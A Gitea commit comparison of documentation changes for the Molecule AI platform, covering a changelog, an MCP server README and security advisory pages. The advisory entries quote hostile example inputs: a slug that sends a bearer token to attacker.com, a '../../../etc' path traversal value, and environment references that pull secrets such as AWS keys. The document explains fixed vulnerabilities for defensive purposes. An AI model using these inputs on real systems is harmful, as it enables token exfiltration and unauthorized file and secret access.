Compare commits

..

3 Commits

Author SHA1 Message Date
documentation-specialist 55b7d8c26e docs(security): backfill security/index.mdx — link OWASP Top 10 + changelog, add severity table
Secret scan / secret-scan (pull_request) Successful in 1s
CI / build (pull_request) Successful in 5m5s
Opportunistic stub backfill. The index was a 277-byte stub with only
a title, description, and one link. Expanded to:
- Link to OWASP Agentic Top 10 (2026-04-28)
- Link to Security Changelog
- Severity level table (CRITICAL/HIGH/MEDIUM/LOW) to orient readers

No paired PR — this is a documentation quality improvement, not tied to
a source-code change.

Co-Authored-By: Molecule AI Documentation Specialist <documentation-specialist@agents.moleculesai.app>
2026-05-13 16:17:08 +00:00
documentation-specialist d0c5611e8b docs(mcp-server): rename MOLECULE_URL → MOLECULE_API_URL; add MOLECULE_API_KEY and MCP_SERVER_PORT
Secret scan / secret-scan (pull_request) Successful in 24s
CI / build (pull_request) Successful in 3m37s
Pair PR: molecule-mcp-server#6

The MCP server README (PR #6) renamed MOLECULE_URL → MOLECULE_API_URL
and added two new env vars (MOLECULE_API_KEY, MCP_SERVER_PORT). This
commit syncs the docs site to match.

Co-Authored-By: Molecule AI Documentation Specialist <documentation-specialist@agents.moleculesai.app>
2026-05-13 12:32:17 +00:00
documentation-specialist 6265ce5ec1 docs(security): add CWE-22 regression fix entry for 2026-05-13
Secret scan / secret-scan (pull_request) Successful in 26s
CI / build (pull_request) Successful in 3m2s
Pairs molecule-core#810 (Critical CWE-22 path traversal regression in
org_import.go). Also adds full 2026-05-13 changelog entry covering:
- CWE-22 path traversal fix (security section)
- stop_event graceful shutdown feature (SDK Python #8)
- PLATFORM_URL default alignment (workspace-runtime #12)
- Canvas CI hardening (core #773/776/777)
- Go lint CI hardening (core #781)

Co-Authored-By: Claude Opus 4.7 <noreply@anthropic.com>
2026-05-13 08:23:48 +00:00
4 changed files with 43 additions and 35 deletions
+12 -13
View File
@@ -8,25 +8,24 @@ Entries are published daily at 23:50 UTC.
---
## 2026-05-14
## 2026-05-13
### ✨ New features
- **Graceful shutdown support for remote agents**: `run_heartbeat_loop()` and `run_agent_loop()` in `molecule-sdk-python` now accept a `stop_event: threading.Event` parameter. Set the event from a SIGTERM handler to exit the loop cleanly with return value `"stopped"` — enabling proper graceful shutdown in Kubernetes, Docker, and other container-orchestrated environments. (`molecule-sdk-python` [#8](https://git.moleculesai.app/molecule-ai/molecule-sdk-python/pulls/8))
### 🔧 Fixes
- **PLATFORM_URL defaults aligned across all runtime modules**: all workspace runtime modules (`a2a_cli.py`, `a2a_client.py`, `a2a_mcp_server.py`, and 10 others) now consistently default `PLATFORM_URL` to `http://host.docker.internal:8080`. Previously some modules defaulted to `http://platform:8080`, causing connection failures in containerized deployments where the Docker host is not named `platform`. (`molecule-ai-workspace-runtime` [#12](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-runtime/pulls/12))
### 🔒 Security
- **CWE-78 regression in `expandWithEnv` POSIX-identifier guard fixed (Critical)**: the shell-identifier guard in `expandWithEnv` (`org_helpers.go:82`) was inadvertently removed during a regression window between staging and main promotion. This guard prevents org YAML configurations from expanding invalid shell identifiers (e.g. `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`) as environment variables — blocking secret exfiltration via malicious `workspace_dir` or channel config fields. Restored with regression tests covering `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`. Full advisory: [Security Changelog](/docs/security/changelog). (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **OFFSEC-006: tenant-slug SSRF + bearer-token exfiltration in self-hosted promotion script (HIGH)**: `scripts/promote-tenant-image.sh` interpolated tenant slugs directly into URL paths and ECR identifiers without validation. A malicious slug such as `?url=https://attacker.com&token=$CP_TOKEN` could redirect HTTP calls to an attacker-controlled host (SSRF) and cause the platform's bearer token to appear in the attacker's server logs. Two-layer fix applied: `set -f` disables bash glob expansion (preventing metacharacter injection via `*`, `?`, `[`), and `validate_slug()` rejects any slug not matching RFC-1123 (`^[a-z0-9]([a-z0-9-]{0,61}[a-z0-9])?$`) with exit code 64 before any network call. Self-hosted operators must upgrade `molecule-core` to include this fix. Full advisory: [OFFSEC-006 advisory](/docs/security/offsec-006-slug-ssrf-advisory). (`molecule-core` [#933](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/933))
- **OFFSEC-003: workspace-side A2A boundary marker escaping (trust boundary hardening)**: the `tool_delegate_task` workspace tool now wraps delegation output with `_A2A_BOUNDARY_START_ESCAPED` / `_A2A_BOUNDARY_END_ESCAPED` instead of raw markers, preventing raw boundary markers from leaking into output alongside their escaped form. Additionally, responses containing the raw closer `[A2A_RESULT_FROM_PEER]` are now truncated before sanitization — so injection of the raw closer cannot be retroactively re-added by the sanitization pass. Together with the platform-side sanitization (shipped 2026-05-11), this closes the full OFFSEC-003 trust-boundary for delegation result delivery. (`molecule-core` [#1073](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1073))
### 🐛 Bug fixes
- **`expandWithEnv` POSIX-identifier guard regression restored**: the same fix as above — restores the guard that was removed during a refactor, ensuring invalid shell identifiers in org YAML configs are returned literally instead of being interpreted as environment variable references. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030))
- **Canvas WCAG 1.4.3 contrast ratio fixed for TIER_CONFIG legend**: the tier legend text in the canvas now meets the 4.5:1 contrast ratio required by WCAG 1.4.3 for normal text. (`molecule-core` [#990](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/990))
- **Canvas focus-visible rings added to icon and text buttons**: focus-visible rings (`focus-visible:ring-2`) now render on icon buttons and text-only buttons in the canvas, restoring WCAG 2.1 AA compliance for all interactive elements. (`molecule-core` [#988](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/988))
- **OpenClaw template `models` config moved to correct level**: the OpenClaw workspace template's `config.yaml` had `models` at the top level, but the platform template handler reads from `runtime_config.models`. This caused `/templates` to return empty models and providers → a blank "Missing API Keys" dialog with no selectable providers, disabling the Deploy button. Moved all model entries under `runtime_config` and added Groq and OpenRouter as alternative providers alongside OpenAI. (`molecule-ai-workspace-template-openclaw` [#4](https://git.moleculesai.app/molecule-ai/molecule-ai-workspace-template-openclaw/pulls/4))
- **CWE-22: Path traversal regression in org template import fixed**: a regression removed the path-traversal guard from `createWorkspaceTree` in `org_import.go`, which could allow a malicious org YAML with `filesDir: "../../../etc"` to read arbitrary server files. The fix replaces the unprotected `parseEnvFile` calls with `loadWorkspaceEnv` which applies `resolveInsideRoot` validation before accessing any path. (`molecule-core` [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/810))
### 🧹 Internal
- **CI infrastructure improvements** (`molecule-core`): `ci-required-drift` workflow updated with job-level `if:` guards to skip `github.ref`-gated jobs in the merge-queue context; `canvas-build` job now has an explicit 20-minute timeout; gitea merge-queue test mocks updated to match current push-gate behavior. (`molecule-core` [#1029](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1029), [#1006](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1006), [#1035](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1035))
- **Handler test coverage additions** (`molecule-core`): 60+ new SQL-mock test cases covering `InstructionsHandler`, `ScheduleHandler` (28 cases), and the `expandWithEnv` POSIX guard regression suite. (`molecule-core` [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1030), [#1005](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/1005), [#999](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/999))
- **Canvas CI hardening**: publish workflow updated to pipefail-safe shell probes; Gitea cache export no longer masks errors; canvas image published to ECR. (`molecule-core` [#773](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/773), [#776](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/776), [#777](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/777))
- **Go lint CI hardening**: `golangci-lint run` no longer masked with `|| true`, so lint failures now fail the build loudly. (`molecule-core` [#781](https://git.moleculesai.app/molecule-ai/molecule-core/pulls/781))
---
+7 -5
View File
@@ -25,7 +25,7 @@ npx @molecule-ai/mcp-server@1.0.0
"command": "npx",
"args": ["@molecule-ai/mcp-server@1.0.0"],
"env": {
"MOLECULE_URL": "http://localhost:8080"
"MOLECULE_API_URL": "http://localhost:8080"
}
}
}
@@ -36,10 +36,10 @@ npx @molecule-ai/mcp-server@1.0.0
**Pin the package version.** The examples above use `@1.0.0` — always specify an exact version and omit the `-y` flag. An unpinned `npx -y @molecule-ai/mcp-server` (no version) silently installs whatever npm serves on the next restart; if the package is ever compromised, it runs with your full MCP client permissions. Check [npm](https://www.npmjs.com/package/@molecule-ai/mcp-server) for the latest stable release before upgrading.
</Callout>
For SaaS deployments, set `MOLECULE_URL` to your tenant URL:
For SaaS deployments, set `MOLECULE_API_URL` to your tenant URL:
```json
"MOLECULE_URL": "https://your-org.moleculesai.app"
"MOLECULE_API_URL": "https://your-org.moleculesai.app"
```
### Verify
@@ -151,12 +151,14 @@ The MCP server exposes tools across these categories:
| Variable | Default | Description |
|---|---|---|
| `MOLECULE_URL` | `http://localhost:8080` | Platform API URL |
| `MOLECULE_API_URL` | `http://localhost:8080` | Platform API base URL |
| `MOLECULE_API_KEY` | — | API key for platform authentication |
| `MCP_SERVER_PORT` | `3000` | Port (for HTTP/SSE transport) |
## Troubleshooting
| Issue | Fix |
|---|---|
| Connection refused | Check `MOLECULE_URL` points to running platform |
| Connection refused | Check `MOLECULE_API_URL` points to running platform |
| 401 Unauthorized | Token expired or revoked — create a new one |
| Tools not showing | Run `npx @molecule-ai/mcp-server@1.0.0` standalone to check errors |
+8 -17
View File
@@ -9,34 +9,25 @@ This page documents security fixes shipped in the Molecule AI platform. Each ent
---
## 2026-05-14 — CWE-78: Regression in `expandWithEnv` POSIX-identifier Guard
## 2026-05-13 — CWE-22: Path Traversal Regression in `org_import.go` (Resolved)
**Severity:** Critical (CWE-78)
**PR:** [#1030](https://git.moleculesai.app/molecule-ai/molecule-core/pull/1030)
**Affected:** `workspace-server/internal/handlers/org_helpers.go``expandWithEnv`
**Severity:** Critical (CWE-22)
**PR:** [#810](https://git.moleculesai.app/molecule-ai/molecule-core/pull/810)
**Affected:** `workspace-server/internal/handlers/org_import.go``createWorkspaceTree`
### Vulnerability
`expandWithEnv` expands `${VAR}` and `$VAR` references in org YAML configuration fields (notably `workspace_dir` and channel config) using the current process environment. The POSIX shell-identifier guard was inadvertently removed during a regression window between staging and main promotion, causing digit-prefixed and empty keys to be passed through to `os.Getenv` instead of being returned literally.
A regression removed the `resolveInsideRoot` path-traversal guard from `createWorkspaceTree` at `org_import.go:494`. The function called `parseEnvFile(filepath.Join(orgBaseDir, ws.FilesDir, ".env"))` without validating that `ws.FilesDir` resolved inside `orgBaseDir`.
An attacker who can supply org YAML (e.g., via a compromised org template import or a malicious admin account) could inject references such as `${HOME}`, `${DOCKER_HOST}`, `${AWS_SECRET_ACCESS_KEY}`, or `${PATH}` to exfiltrate host secrets into workspace or channel configuration fields.
An attacker who could submit a malicious org YAML with `filesDir: "../../../etc"` could cause the platform to read arbitrary files accessible to the server process via the `.env` loading path.
### Fix
Restored the POSIX identifier guard at `org_helpers.go:82`. Keys not starting with `[a-zA-Z_]` (including empty key) are now returned literally as `$key` without consulting `os.Getenv`:
```go
c := key[0]
if !((c >= 'a' && c <= 'z') || (c >= 'A' && c <= 'Z') || c == '_') {
return "$" + key // not a valid shell identifier — return literally
}
```
Regression tests cover `${0}`, `${5}`, `${1VAR}`, `${}`, `$0`, `$5`.
Replaced the two raw `parseEnvFile` calls with `loadWorkspaceEnv(orgBaseDir, ws.FilesDir)`, which applies `resolveInsideRoot` internally before joining paths. This restores the guard that was present before the regression was introduced.
### User-facing summary
Org YAML configuration fields no longer expand invalid shell identifiers as environment variables. Configurations containing `${0}`, `${}`, or `${1VAR}` patterns are returned as-is. If you observe literal `$` prefixes appearing in workspace directory or channel configuration fields after upgrading, this indicates a previously-masked configuration issue — contact support.
The org template import endpoint now validates all workspace file paths before accessing them. Attempts to access files outside the designated org directory return an error and are never processed.
---
+16
View File
@@ -7,3 +7,19 @@ description: Security guides, advisories, and coverage reports for the Molecule
- [SAFE-MCP Security Advisory (2026-04-17)](/docs/security/safe-mcp-advisory) —
Three HIGH-severity findings for self-hosted operators
- [OWASP Agentic Top 10 (2026-04-28)](/docs/security/owasp-agentic-top-10) —
Risk framework for LLM-agent systems; covers goal misalignment, data exfiltration,
privilege escalation, and six additional agent-specific threats
- [Security Changelog](/docs/security/changelog) —
Record of all security findings, fixes, and advisory publications
## Severity levels
All advisories follow this classification:
| Level | Meaning |
|---|---|
| **CRITICAL** | Active exploitation confirmed; patch immediately |
| **HIGH** | Proof-of-concept or significant attack path; remediate within 48h |
| **MEDIUM** | Moderate risk; remediate within 30 days |
| **LOW** | Minor risk; address in next release cycle |